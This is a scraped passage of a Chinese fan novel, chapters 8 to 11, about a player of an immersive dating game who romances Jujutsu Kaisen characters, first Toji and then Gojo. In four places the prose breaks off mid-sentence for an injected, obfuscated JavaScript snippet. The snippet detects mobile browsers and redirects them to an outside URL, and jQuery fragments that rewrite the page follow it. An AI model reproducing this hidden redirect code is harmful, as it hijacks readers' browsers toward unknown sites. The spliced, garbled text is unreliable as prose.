悬于脖颈上的刀终于落下,今野桃扶着门框的手骤然用力,关节都发白了,指尖微微颤抖。 看样子,他们的感情很好。 真有意思,杀手竟然也会有爱人吗?难道是在拍什么日版的《这个杀手不太○》? 少年漫无边际地想。 “请问……”今野桃低声开口道,“他是怎么死的呢?” 少年顿了顿,语气中带着几分饶有兴致道:“既然是杀手,那杀人或被杀都是很正常的事情啦。你想替他报仇吗?但是你好像是个普通人吧?” 今野桃沉默了。 他说得没错,既然都是杀手了,那自然早就做好了死亡的觉悟。就算报仇了又能如何?只要伏黑甚尔还是个杀手,死亡的镰刀迟早会收割到他的头上。 他愿意收手吗? 如果只是因为金钱的话,今野桃也不是出不起包养伏黑甚尔一辈子的钱。 “我知道了,谢谢你。” 今野桃说出了少年意料之中的回答。 毕竟是个普通人嘛,就算是想做些什么,也无能为力呀。 少年重新戴上眼镜,连个招呼也没打就走了。 他来这里也只是为了带一句话,毕竟那个男人可是要杀掉他呢,愿意带一句话,他已经非常善良了。 啧,等下还要去看看那个男人的小孩,唉,他可真忙啊…… . 少年走后,BE结局就跳了出来,仿佛是为这个故事画上了最后的句号。 今野桃垂眸思索许久,读档回到了那个本该平平无奇的日子。 他们两人并肩坐在沙发上,伏黑甚尔如往常那样看着电视,而她在玩手机。 “啊,对了,我要出门几天。”伏黑甚尔随口说道。 这不是他第一次短暂离开,今野桃心知肚明他要去做什么,从来没有过问。 但这次,她开口了。 “去哪呀?”她合上手机,侧头看他,“要很久吗?” 伏黑甚尔有点惊讶,迟疑片刻,回道:“比较复杂,不会很久。” 今野桃没继续追问,她沉着脸,显然不太高兴。 “怎么了?”伏黑甚尔这下是真的疑惑了,“谁又惹得我们大小姐生气了?” “还有谁,当然是你啊。”今野桃用力戳了两下他的手臂,坚硬的肌肉硌得她手指痛,“你就不能不去吗?” 伏黑甚尔张了张嘴,似乎想说什么,但又没说出口。 今野桃坐直了身子,一本正经地严肃道:“甚尔,我想要你一直陪着我,好吗?” 伏黑甚尔一只手支着脑袋,沉默不语。 “你想要多少钱我都可以给你的呀。”今野桃的语气有点着急,“那些危险的事情……不可以不做吗?” 她握住了他的手,柔软包裹着他,仿佛想要将他也一并融化在这温柔乡中。 良久,他回握住她的手,轻柔地笑道:“大小姐是在担心我吗?” “当然啊!我……” “放心好了。”伏黑甚尔耸了耸肩膀,“不会有事的。” 他承诺着,却从来不打算践行自己的诺言。 今野桃哑然,怔怔地看着他淡然的面容。 你没办法劝一个不在乎生死的人爱惜生命,人与人之间,是很难感同身受的。 今野桃沉下心,决定再试一次。 “那你会回来的吧?”她把下巴靠在伏黑甚尔的肩膀上,“我们还约好了,要一起去游泳。” “当然,我会回来的。”伏黑甚尔轻松回道。 . 骗子。 伏黑甚尔,是个大骗子。 . “对了,我要出门一趟。”伏黑甚尔说完,感受到身边人强烈的目光。恰逢中场广告,他从电视频道里抽出几分心思问她,“怎么了?” 今野桃没说话,只是用深沉的视线紧紧凝视着他,好像想要透过他的皮囊望入他的灵魂。 但人心是多么难以揣测的东西,有时候连他自己都不知道自己到底想要什么。 “会很久吗?”她轻声开口道,“夏天快到了。” 伏黑甚尔愣了一下,随后恍然大悟。 “知道了知道了,”他无奈又好笑地说道,“不会忘记跟你的约定的。大小姐现在就可以开始准备了,等我这个任务结束回来,我们就去海边玩。” 然而这样的承诺并没有让今野桃开心起来,她攥住他的袖子,一字一句认真地说道:“我现在就想去海边玩,你陪我一起。” 伏黑甚尔皱起了眉。片刻,他推开了今野桃。 “这样就没意思了。”他竟然露出了为难的表情,“大小姐就不能等几天吗?” 今野桃沉声道:“不能,我就要你现在陪我去。甚尔,你还记得吧,在赌马场的时候,说好了会答应我一个要求的。” 这是要逼迫他在接到的单子和她之间选一个吗?如果换了别的单子,伏黑甚尔或许会答应下来。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135742|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一次…… 先不说他已经拿了盘星教的三千万定金,因为对手是那个人,他可是精心制定好了计划,就等着好戏开场。 他一定会杀了那个“神子”,以此来证明他…… 伏黑甚尔怔愣了许久,自嘲地想。 证明什么呢?又向谁证明呢?或许,他并没有自己想的那样洒脱。残存的那一点点自尊像腐烂的伤口,就算想假装不存在也无济于事。从神经末梢传来的疼痛不肯让他彻底堕落,他只能孤魂似的徘徊在这个无可救药的人世间。 伏黑甚尔起身,将旁边的外套往肩膀上一甩。 “那就别管我了,大小姐。”他无所谓地笑了笑,“不过钱我是不会退的哦。” 今野桃仰头看他,眼圈浮起微红:“我们之间,难道只有交易的关系吗?” 伏黑甚尔没有立刻回答。 这个场景,对他来说应当是很熟悉的。他应付过太多次这样的情节,以至于可以想都不想地说出下一句话,正如他们两人初次见面的时候那样。 短暂的犹豫,是他唯一能给出的“偏爱”。 “抱歉,大小姐,我以为你知道的,这是我的职业哦。” 他最终还是说出了口。 伏黑甚尔已经做好了被破口大骂或严厉斥责的准备,毕竟他辜负了一颗“真心”啊。 他可真是一个烂人。 伏黑甚尔缓缓吐出一口气。 房间里陷入了死寂中。两人一时间都没有开口说话,只余滴答滴答的钟声在响。 伏黑甚尔等了一会儿,没见她有反应,于是自顾自地转身:“那就拜拜咯……” “甚尔。”今野桃开口打断了他的动作,她握紧了拳,竭力克制住自己,“如果我告诉你,你这次去,会死呢?” 伏黑甚尔侧了侧头,短促地笑了一声。 “这算什么?预言还是诅咒?” “是预言。”今野桃认真地说道,“甚尔,我……” “好了,大小姐。”伏黑甚尔没有再回头,“我不相信预言,也不相信命运。” 如果真的相信命运,那他早该死在禅院家的某个角落。 大门关上的响声像是伏黑甚尔死亡倒计时开始的声音,今野桃终于意识到,89的好感值不足以让伏黑甚尔回头,这大概是一条既定的BE线。 很多游戏是这样的,没有达成前置条件、好感值不足……种种因素都为BE结局埋下了伏笔,想要挽回必须从头开始,小心翼翼、步步为营。 然而这个游戏没有攻略,一切都只能靠她自己摸索。 今野桃拿起手机,在短信界面停留许久,还是输入了一行字。 [甚尔,我等你回家。][未读] 直到最后的结局跳出来,这条信息也没有变成[已读]。 【伏黑甚尔好感值:90】 【伏黑甚尔—丧家之犬(BE) ——流浪的野狗,哪来的家。】 9. 第九章 退出游戏。 今野桃打出一记左勾拳,一记右勾拳,一记上勾拳,一记下勾拳。 可恶的伏黑甚尔!可恶的游戏策划! 她往只铺了一层薄薄棉垫的木床上一倒,听到木头发出的吱啊吱啊的声音。 今野桃闭了闭眼又睁开,黑色的眼瞳中带着迷茫。白炽灯太过明亮,显得她脸色苍白。 逼仄的房间,只一眼就可以将全部摆设看得清清楚楚。 一张床、一个衣柜,然后就是一台全息游戏舱,甚至连多余的一张饭桌都摆不下。 对以前的她来说,顶多算是保姆房。而如今,已是她的容身之所。 因为没有窗户,不能看见太阳和月亮,只能通过时钟判断时间。今野桃抓起手机,屏幕上显示现在是凌晨三点。 有人给她发消息,没有文字,全是照片。 照片上是一场宴会,举办地点在一座富丽堂皇的宅邸。远看是雕梁画栋、金碧辉煌,近看是山水交映、堆金积玉。来往的宾客西装革履、衣香髻影,昂贵的首饰在璀璨的灯光下显得格外熠熠生辉。 多么奢靡的场景啊。 今野桃面无表情地合上了手机。 只要她低头,马上就能成为其中的一员。 只要她顺服,听从家里的安排,和一个从未见过的人结婚,成为像她妈妈那样的全职主妇,安心待在笼子里,她就能重新拥有富足的生活。 可惜她不愿意啊。 千言万语,抵不过她一句不愿意。 见过蓝天的鸟儿,就算死也要死在天空下。 更何况,她并非毫无自立能力的金丝雀。只不过现在那些人对她围追堵截,誓要斩断她的一切出路,才会让她现在如此狼狈。 提交了一个空气墙bug和一个贴图bug,从委托人的手里拿到了一笔小钱,今野桃盘算了一下,暗暗松了一口气。 她会一直坚持下去,看看到底谁才是先没耐心的那个! 几口吃掉面包,今野桃再次进入游戏。 她摇了足足四十六分钟,终于摇到了咒力这个属性。 咒力3、体质6、力量4、魅力6、敏捷5、智力7 很好,就决定是它了! 在众多可攻略角色中,今野桃选择了上周目见过的白发蓝眸少年。 虽然只有一面之缘,但他给她留下了挺深刻的印象。 伏黑甚尔没有朋友,也没有任何社交。他与少年的关系,要么是敌人,要么是陌生人。 所以,虽然看起来有点冷淡,但会为敌人或陌生人传回遗言,这个少年应该也是个温柔的人吧。 游戏内选择了攻略对象后,玩家和攻略对象之间就像牵起了一根无形的红线,两条本不会相交的直线有了交点,遇见的概率也会增加。 因此,跟着他,兴许还能探查到伏黑甚尔的死因。 一周目的失败不能代表什么,等她摸清楚一切线索,区区HE还不是手到擒来? 自我安慰了一番,今野桃开始了游戏。 她成为了东京都立咒术高专的一名学生,刚刚升上二年级的她在新学期被评为了四级咒术师,属于是咒术界垫底的存在。 她没有属于自己的术式,仅能勉强操控咒力。 好在咒术界人不多,四级咒术师也能混口饭吃。 “恭喜你呀,终于成为有评级的咒术师啦!”庵歌姬对她竖起了一个大拇指,“晚上一起去庆祝一下吗?” 今野桃苦笑道:“不要打趣我了,你都已经是二级咒术师了,我才四级呢,要庆祝也是为你庆祝吧。” “无所谓啦,给谁庆祝都是一样的。”庵歌姬并不在意那些,“所以晚上去KTV吗?” 庵歌姬喜欢唱歌,没事的时候就会邀请朋友一起去卡拉OK。 今野桃的脸上露出了心动的神色,但还是摇了摇头说道:“今天就算了,夜蛾老师说今天会有新生报到,让我在学校里迎接一下他们。” “哦对,听说今年有三个新生,其中两个是夜蛾老师历经千辛万苦才挖到的。”庵歌姬感慨道,“夜蛾老师真是太拼了,难怪有希望成为校长。” 就算他不拼,下一任校长恐怕很大概率也会是他。 没办法,谁让咒术界的人实在是太少了呢。 或者说,咒术学校里的咒术师实在是太少了。 历经千年,今野桃本以为咒术界会变得超乎想象的繁华,就像当初阅读《哈利波特》时跟随哈利来到魔法界那样让她震惊。 但事实上,她并没有来到里世界的感觉。 谁能想到,咒术学校里学得最多的,是通行版的文化课、咒术界历史和基础咒术运用。至于如何开发咒术技能,关于咒力的深层使用,全部都没有。 问就是,咒术是咒术师天生就会的,靠遗传。如果没办法自行领悟,说明天赋不够,实力太差。 今野桃曾就这个问题询问过夜蛾正道,对方沉默许久后告诉她,如果她有生得术式的话,他能针对性地去找到她需要的资料。但她没有,所以只能学习这些基础课。 “等等,夜蛾老师。”今野桃感到迷惑,“如果说我是实力太差看不懂,但学校里不是还有很强的前辈吗?他们难道就不需要更高深的资料吗?” 夜蛾正道叹了口气,语气中暗含了些许苦涩:“小桃,这就是我一直在努力的事情。” 那些高深的资料全都被家系术士垄断,极少出现在市面上。 如今的咒术界封闭、腐朽,家系术士占据了至少三分之二,平民术士占据了余下部分的三分之二,诅咒师挤在夹缝中生存。 至于表世界的政府部门,没有咒力,连咒术界的大门都摸不到,更遑论分一杯羹了。 “普通人和普通人诞下拥有咒术的术士的概率太低,再加上年幼的平民术士会表现出异于常人的地方,他们更容易被排挤、被霸凌,如果不及时发现,最后就会酿成悲剧。”夜蛾正道无奈地说道。 比如这一届里他好不容易发掘出来的平民术士夏油杰。 今野桃默默点头。 一方水土养一方人,这片狭窄国土上养育出来的人,性格就是如此敏感又纤弱,轻易就会感到不安。 “我会尽力帮助你的,小桃。”夜蛾正道双手交叉,正色道,“有什么问题都可以来问我,好好努力,你有希望升为三级咒术师,成为一名辅助监督。” 今野桃带着老师殷切的期盼和迎新的任务离开了办公室。 庵歌姬拍拍她的肩膀,不想用鼓励给她增加负担,于是说道:“反正没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135743|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,我跟你一起去迎新吧。” “诶?不用的,你也是难得的休息时间……” “没关系没关系,”庵歌姬勾住她的脖子,压低了声音说道,“万一有帅气的学弟呢?” 帅气?那个少年应该算是帅气吧? 今野桃暗忖道。 东京都立咒术高专建在深山老林,地理位置比较偏,好在进山的大路就一条。为了仪式感,今野桃和庵歌姬在进山的入口处设立了一个迎新点。 一张宽大的桌子配上两张椅子,看起来还像模像样的。 “希望今年的新生有帅气的学弟和温柔的学妹!”庵歌姬开始祈祷。 今野桃诚恳地说道:“我觉得你能祈愿成功。” 毕竟庵歌姬家里是祖传的巫女! 公交车驶来了,有两个人影在逐渐靠近。一个高个子,一个矮个子。 “噢噢!是学弟和学妹!” 在庵歌姬期待的目光中,两人在桌子前站定。 “啊,是学姐吗?”男生弯着眼睛笑道,“你好,我叫夏油杰。” “学姐们好,我叫家入硝子。”女生也露出了一个浅浅的笑。 好耶!祈愿成功! 今野桃和庵歌姬欣喜地互相击了个掌。 吱—— 尖锐的刹车声响起,一辆看起来就十分昂贵的轿车停在了旁边。在四双眼睛的注视下,一个人影从车上大摇大摆地下来。 “哈啊?这里就是咒术高专?”少年推了推眼镜,发出了不满的声音。镜片后,他的眼珠微转,扫过在场几人,最后落在了夏油杰的身上,“你们在这里干什么呢?” 夏油杰微微蹙眉,为少年毫不客气的语气。家入硝子垂眼,当做没听见。 今野桃抿了抿嘴,打了个圆场:“你也是今年的新生吧?你好,我是二年级的今野桃。” “二年级?”少年挑眉,“你好弱啊。” “……” 庵歌姬一拍桌子站了起来:“你这个没礼貌的家伙,给我叫学姐啊!” 少年的视线移到了庵歌姬身上:“学姐?可是你也很弱的样子诶。” “……” “真没意思啊。”少年用所有人都能听清的音量嘟囔道,“这就是咒术高专吗?弱者就算聚集再多,也毫无意义吧。” 无辜被扫射到的新生:“……” 四个人的拳头都攥紧了。 夏油杰觉得自己有义务帮这位同期知道一下什么叫做礼仪。他抬手,一只只咒灵从地下钻出来。 “道歉。”他沉声道,“否则不要怪我手下不留情。” 少年眼睛一亮:“是吗?那就让老子见识一下什么叫做手下不留情好了。” 什么失礼的自称啊! 家入硝子淡淡开口:“夏油同学,我会反转术式,能治愈伤口,你放心动手,我会把你们都治好的。” 很好,还有人扫尾。 夏油杰二话不说冲了出去。 今野桃:“……” 庵歌姬:“……” “歌姬,你说你的愿望,到底实现了还是没实现呢?” 帅气的学弟,但脾气暴躁;温柔的学妹,但会递刀。 还有一个性格和外貌成反比,正在上蹿下跳。 10. 第十章 今野桃花了很长的时间,才把上周目见过的少年和眼前的五条悟区分开来。 什么冷淡却善良,都是皮囊带给她的错觉!他就是一只知道自己很貌美所以我行我素的布偶猫!! “你和夏油同学一定很辛苦,他看起来就很难搞的样子。”今野桃如是向家入硝子吐槽道。 家入硝子的表情有些古怪,随后耸了耸肩膀回道:“我和五条的关系可没有你想象的那样亲近。真要算起来,夏油才是他的朋友吧,我顶多算是同学。” 家入硝子咬着口中的无糖巧克力棒,声音有点含糊不清。 她的额头上已经满是汗水,刚刚结束了体能训练课的家入硝子坐在树下和身为学姐的今野桃一起偷懒。 操场上,两个男生还在挥洒青春。远远地,能看见两人一边跑步一边还要你推我一下,我绊你一下,试图给对方制造困难。 “他们真没眼光,不知道打架的时候奶妈的重要性。”今野桃摇摇头,“这种dps就只配吃溅射,不配吃单点。①” 家入硝子被她的说法给逗笑了:“你说得没错。” 来到咒术高专的两个月,是她十几年来最舒心的两个月。不用担心突然出现的咒灵,不用担心自己因为异于常人的表现而被孤立、霸凌,不用担心死亡会突如其来降临。 家入硝子半眯着眼睛,望向天空。 身为平民咒术师,和普通人生活在一起,实在是太困难了。一道无形的屏障将他们分割开来,让彼此难以互相理解。 回想起过往,家入硝子的表情有些凝滞。 “对了,你身上有伤口吗?我可以帮你治好。”她侧了侧脑袋,说道。 “啊,放心好啦,我实力那么差。任务都很简单的,不太会受伤。”今野桃摆摆手回道。 她的语气很平淡,似乎也并不对家入硝子一直以来备受追捧的反转术式另眼相待。 那些嫉妒的、渴求的、窥视的、讨好的……黏腻得像淤泥一样的阴郁之色从来没有在她的眼中出现过。 第一周目身边俩人都会反转术式的今野桃:(迷茫)啊?反转术式很珍贵吗? “小桃喜欢五条吧。”家入硝子用笃定的语气说道。 今野桃愣了一下,随后不好意思地捋了捋发梢,回道:“被看出来了呀。” “你根本就没有隐瞒啊。”家入硝子无语说道。 虽然总是说他这里不好那里不好,但每次见面,她的目光永远第一时间落在五条悟的身上,演都不带演一下的。 “也没什么好隐瞒的吧。不是有句话说,喜欢就像咳嗽一样,是忍不住的。”今野桃煞有介事地说道。 家入硝子扶额,同时又有点无奈。 “只能怪学校里的人太少了,不然我一定多给你介绍几个。”她喃喃道,“五条和夏油,哪个都不是合适的恋爱对象啊……” “什么?”家入硝子的声音太小,今野桃没听清楚,“五条和夏油怎么了?” “对啊,我们怎么了?” 五条悟的大嗓门响起,两个女生吓了一跳,这才发现他们不知道什么时候站在她们后面,阴影笼罩在今野桃的身上,她还以为是树荫。 “被老子抓包了吧!”五条悟推了推眼镜,“偷偷说我们坏话!” 夏油杰一脸伤心,轻声说道:“小桃学姐对我有什么不满吗?” “没、没有哇!”今野桃慌张地解释,“我和硝子没有说你们的坏话,真的!” “是吗,怎么有点不相信呢……” 家入硝子叹气,伸手拨动塑料袋发出簌簌的声音。她从里面拿了个盒子,举到了五条悟的面前。 “行了,别得了便宜还卖乖。”她没好气地说道,“这是小桃买的零食,我可不爱吃甜的。” 在场的人里,喜欢吃甜食的只有一个。 夏油杰眉毛微挑,在五条悟的耳边说道:“好像是你动态里发过的那款哦,悟。” 五条悟湛蓝的眸子扫过家入硝子和今野桃,随后漫不经心地接过了盒子。 “谢谢啦。” 盒子里,是两枚精致的草莓大福。五条悟轻巧地扔了一个到嘴里,脸上露出了满足的笑容。 不愧是需要排队一个小时以上的超热门甜品。 【五条悟好感值:20】 “小桃刚刚结束任务就赶来了吧,大福又没那么容易坏。”家入硝子状似不经意地说道,“真是着急啊。” 虽然不认为五条悟是个好的恋爱对象,但并不妨碍家入硝子给好友敲敲边鼓。至少,付出的精力得让旁人知晓才行。 五条悟回味着甜蜜的滋味,不以为意地说道:“这款大福的赏味期本来就很短,当然要越快到嘴里越好啊。” 【五条悟好感值:20】 家入硝子的话没有丝毫打动他。 这也在今野桃的预计内了。五条悟不是一个缺爱的人,身为六眼神子,他是整个五条家族的中心,所有人都围着他打转。不说要风得风,要雨得雨,但也差不了太多。 他绝不可能会被微末的好处打动。 因此面对今野桃的示好,他收得心安理得。 ——他习惯被讨好,习惯成为焦点。爱上他,理所当然罢了。 今野桃看着纹丝不动的好感值,微微抿了抿嘴唇。 如果她没有推测错误,0—30的好感值应当是陌生人范畴,30—60算是有些感情,60—90能称得上一句“爱”,90以上兴许才能走上HE线。 五条悟当真是“郎心似铁”。 家入硝子哽住,有点想翻个白眼又忍住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135744|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看气氛开始尴尬,今野桃连忙从塑料袋里掏出了两瓶饮料说道:“我还给夏油同学和硝子都带了吃的,看看喜不喜欢。” “咦,我也有吗?真是感到受宠若惊啊。”夏油杰感慨着接过了饮料。 五条悟瞥了他一眼,嘀咕道:“不是吧,杰,这么容易就被收买了?老子都开始担心起你了哦。” 夏油杰正要打开拉环的手顿住,他将饮料放下,对两个女生笑了笑,随后勾住了五条悟的脖子。 “给我过来吧,悟,我们还没跑完圈呢!” “诶不是,别动手动脚的,老子的大福还没吃完……” “吃什么大福,吃我一拳!” 两人又打闹着奔向了操场,预估几分钟内就会打起来。 “虽然夏油也不是什么好男人,但应该比五条适合谈恋爱。”家入硝子中肯地评价道。 “这……”今野桃迟疑了。 迟疑也是一种回答。 “你怎么没看上夏油,看上五条了呢。”家入硝子好奇地问道。 今野桃正色道:“不要踩一捧一,夏油同学有他的优点,五条也有优点呀。” “唔,比如?” “比如……比如五条悟长得好看!”走在路上跟其他人都不在一个图层了。 这一点家入硝子赞同:“还有呢?” “嗯……实力强大!” “还有吗?” 短暂的沉默后,今野桃两手一拍,干笑道:“又好看又强大!” 家入硝子噗嗤一声笑了出来。 倒也没错,这个年纪的少女,看脸就能喜欢上一个人是很正常的事情。这种喜欢来得快去得也快,大不了失恋的时候,她多安慰安慰小桃吧。 家入硝子这么想着。 女孩子们的笑声传到了操场上,夏油杰抬手,格挡住了五条悟的用力一击。 “悟,不要伤了喜欢你的人的心啊。”他叹道。 “哈?”五条悟撇嘴道,“喜欢老子的人可多了,难道每个都要回应吗?把老子劈成一百份也不够啊。” 以前同样在学校里很受欢迎的夏油杰沉吟不语。 他倒也没有说错。 五条悟哼笑一声,旋身后用肘关节攻向夏油杰帅气的脸蛋。夏油杰连忙招架,肌肉碰撞发出沉闷的响声,听着就让人眼皮直跳。 “你猜猜,被老子打中这一下,她会哭多久?”五条悟恶劣地开口道。 “那可是学姐,好歹尊重一点吧……” “她太弱了啊。”五条悟淡漠地点评道,“让我想起了架子上摆放的花瓶。” 兴许只是一阵风、一点微弱的震动,它就会摔得粉身碎骨。 不要在易逝的东西上寄托情感,五条悟很早就知道这个道理了。 11. 第十一章 四级咒术师虽然属于咒术界的底层,但也需要出任务。好在作为学生,今野桃不必单独出行,通常都会有一个更高级一点的咒术师搭配。 “歌姬。”拉开车门,今野桃不好意思地说道,“我来晚了,抱歉。” 其实她已经早到了十分钟,但庵歌姬比她更早,自然显得她迟到了。 庵歌姬合上手机,神色有些烦躁,但还是笑道:“没来晚。” “那我们出发?”今野桃看向前面开车的辅助监督,对方一动不动。 庵歌姬拽了拽她的袖子,示意她靠近自己,随后压低了声音说道:“等一下,还有个人没来。” “还有人?什么任务啊,需要三个咒术师。”今野桃愣了一下,她看资料上写的,不是一个很普通的祓除二级咒灵吗?作为二级咒术师,以庵歌姬完成它绰绰有余,今野桃就是被带去混经验的。 “是……”庵歌姬犹豫了一下。 商务车的车门被再次拉开,一个穿着非常传统样式和服的女生坐了上来。她面带微笑,声音轻柔。 “非常抱歉,因为很久没出门,所以有些迷路。” “没关系。”庵歌姬扯了扯嘴角,“五条小姐。” 五条? 今野桃忍不住看了看女生,没从她的脸上看到和五条悟半分相似的地方。 “今野小姐怎么这样看我?”她的眼珠微转,和今野桃对视,“是有什么事吗?” “没有没有。”今野桃连忙回道,“就是我们学校有一个和你一样姓氏的学生,所以我就……” “啊,你是说悟大人吗?”女生的音调猛地抬高。 “悟大人?哦对,是,他叫五条悟。”今野桃挠了挠脸颊,忍不住往庵歌姬那边又挤了挤。 三个人坐在一排本该刚好合适,但今野桃和这个女生之间隔出了半个身位。 “悟大人离开族中已经数月,也不知道如今过得怎么样了。”女生叹道,“族里一直很想念悟大人,担心他吃不好睡不好。” 今野桃犹豫了一下,开口道:“应该挺好的吧,我们学校都是单人间,虽然有点旧,但配套设施都是齐全的,空调热水器什么都有,也是二十四小时供应。” 女生凝视着她,虽然脸上带笑,但眼神却是冰冷的。 “那难道不是应该的吗?”她慢条斯理地说道,“在族里,悟大人只要开口,想要什么都能立刻得到。” “这样啊……”难怪五条悟会是那个样子。 “就算是半夜,悟大人想要吃什么,厨房都能立刻做出来。外出的时候,会配备至少六个下人听从悟大人的指令。除此之外,还有负责为悟大人整理书房、打扫屋宅、清洗衣物、制备针线……整个五条家少说有三十人是专门服侍悟大人的。” 车子里陷入一片安静。今野桃干笑两声,不知道这个时候需不需要鼓掌。 “是、是吗,那挺厉害的了。” 女生轻轻嗯了一句,不再开口。 借助身体的遮挡,两个紧紧挨在一起的女生疯狂地敲击着手机按键。 [歌姬:不是,她什么意思啊?不会要我们也这样服侍五条吧?做梦!] [桃桃:呃,她难道是五条的激推?] [歌姬:什么?五条家还有不是五条悟激推的人?] [桃桃:好可怕……不过话说回来,我们这个任务怎么突然加人了?] [歌姬:我也不知道,我就比你早一点知道多个人。不过没关系,她是二级咒术师,实力不差。] [桃桃:那就好,队伍里的混子有我一个就够了,对吧歌姬(猫猫流泪.jpg)] [歌姬:什么混子,不要乱说,桃桃的超直觉很有用的呀!] 虽然没有咒术,但存档是永远滴神! 能感知到危险、提前预判敌人出现的今野桃在队伍里用处很大,甚至还算是受欢迎。 尽管她自称是个混子,但没有人认为她会是队伍里的拖累。稍微有点脑子的人都知道,在有些时候,她能发挥出奇效。 但可惜的是,不是每个人都有脑子。 咻—— 凌厉的咒力化作一道闪电,轻松地将这只二级咒灵从中间给切成两半。歌姬手持神乐铃,给新加入的女生辅助,提高她的咒力上限和咒术伤害。 今野桃两只手插在口袋里,左右张望,给她们掠阵。 就在咒灵发出痛苦哀嚎时,背对着今野桃和庵歌姬的女生眸光微动,忽然后退了一步。 她让出了一个空隙,而正对着这个空隙的,是今野桃。 “拦住它!”女生大喊道。 蠕虫般的咒灵抓住机会冲了出去,它张开了巨口,露出漩涡似的黝黑口腔,一排排的牙齿像绞肉机里的刀片,散发出可怕的气息。 她以为今野桃会害怕,或者露出更难看的模样。尖叫?哭泣?还是狼狈不堪的逃走呢? 在她隐晦带着恶意的注视下,今野桃动了。 她往左边挪了两米,咒灵不远不近,刚好与她擦身而过。腥臭的气味让她皱了皱眉,捏住了鼻子。 二级咒灵:吃人固然重要,但性命更加珍贵!逃命为上! 但它还是没能逃走,女生的补刀送走了它。 “你怎么不拦一下?”她喘着气说道。刚刚跑得太急了,二级咒灵都能失手,传出去她不得被笑死。 今野桃愣了一下,指着自己说道:“你的意思是,我四级咒术师,去拦一个二级咒灵?” 女生哑然,脸上闪过一丝羞恼,随后被她压下。她不太自然地笑了笑,开口道:“也是,你就算想拦也拦不住。” 今野桃闻言,非常赞同地点头:“是啊,我拦不住的嘛。” 庵歌姬匆匆赶来,担忧地问道:“小桃,你没事吧?” “没事,连皮都没蹭破。你知道的,我苟命很在行的。”今野桃拍拍胸口说道。 也就读档了两次,第一次不小心被撞飞,第二次没把握好距离,第三次就稳了。 庵歌姬松了口气。她蹙眉望着女生,到底没说什么。 女生意味深长地说道:“今野同学是四级咒术师吧,而且是个辅助,如果单凭自己一个人,是对付不了三级以上的咒灵的。不过我看你的履历上有很多对战二级咒灵的记录,也是像这样跟着队伍一起吗?” “对啊,歌姬和其他同学都很照顾我呢。”今野桃想都没想地回道。 女生似是哼了一声,但因为太轻没听清楚:“原来如此。所以才让今野同学养成了奢望不该属于自己这个层次的东西的习惯啊。” 什么?叽里咕噜的,没听懂。 “今野同学作为四级咒术师,还是多想想如何应对三级咒灵吧,不要总去妄想自己得不到的东西。” 在今野桃愣住的时候,她递上了一张名片。 “我相信今野同学是个聪明人,如果有什么疑问,也欢迎来找我,五条家族接纳一切有能力的咒术师。” 自以为是地给了颗甜枣,女生转身翩然离开。 捏着名片,今野桃想了半天终于反应过来。 “等等,她刚刚不是在说这次任务吧?她在指桑骂槐啊!”今野桃的怒火慢慢蹿了出来,“几个意思啊,骂我癞□□想吃天鹅肉是吧?!” 庵歌姬咳了两声,安慰道:“怎么会呢,五条悟确实像天鹅,但你也不是癞□□啊。” 庵歌姬也算是家系出身,知道封建家族有多排外,尤其是五条悟对五条家族的重要性绝对超乎想象,不怪他们做出这种神经兮兮的事情。 今野桃没吭声,她在半路下了车,跑去甜品店买了五条悟喜欢吃的那款奶油蛋糕。 庵歌姬担心她想不开,紧紧跟着她,颇有点心惊胆战地想:小桃不会把蛋糕扔到五条悟的脸上去吧? 拎着蛋糕,两人回到了高专。 此时的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135745|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年级正在上课,透过窗户能看见五条悟坐在靠门的位置,一双大长腿委屈地缩在桌子下面,水笔在指尖转动,有一搭没一搭地听着台上老师讲课。 家入硝子坐在中间,双目无神地发呆;夏油杰坐在靠窗位置,桌上平摊着笔记本。三个人里,只有夏油杰在认真听讲。 五条悟和夏油杰几乎是同时看见了门外的两个学姐,也看到了她手里拎着的袋子。 哇哦。 夏油杰心中感慨,又幸福了呢,悟。 五条悟也终于有了点精神。 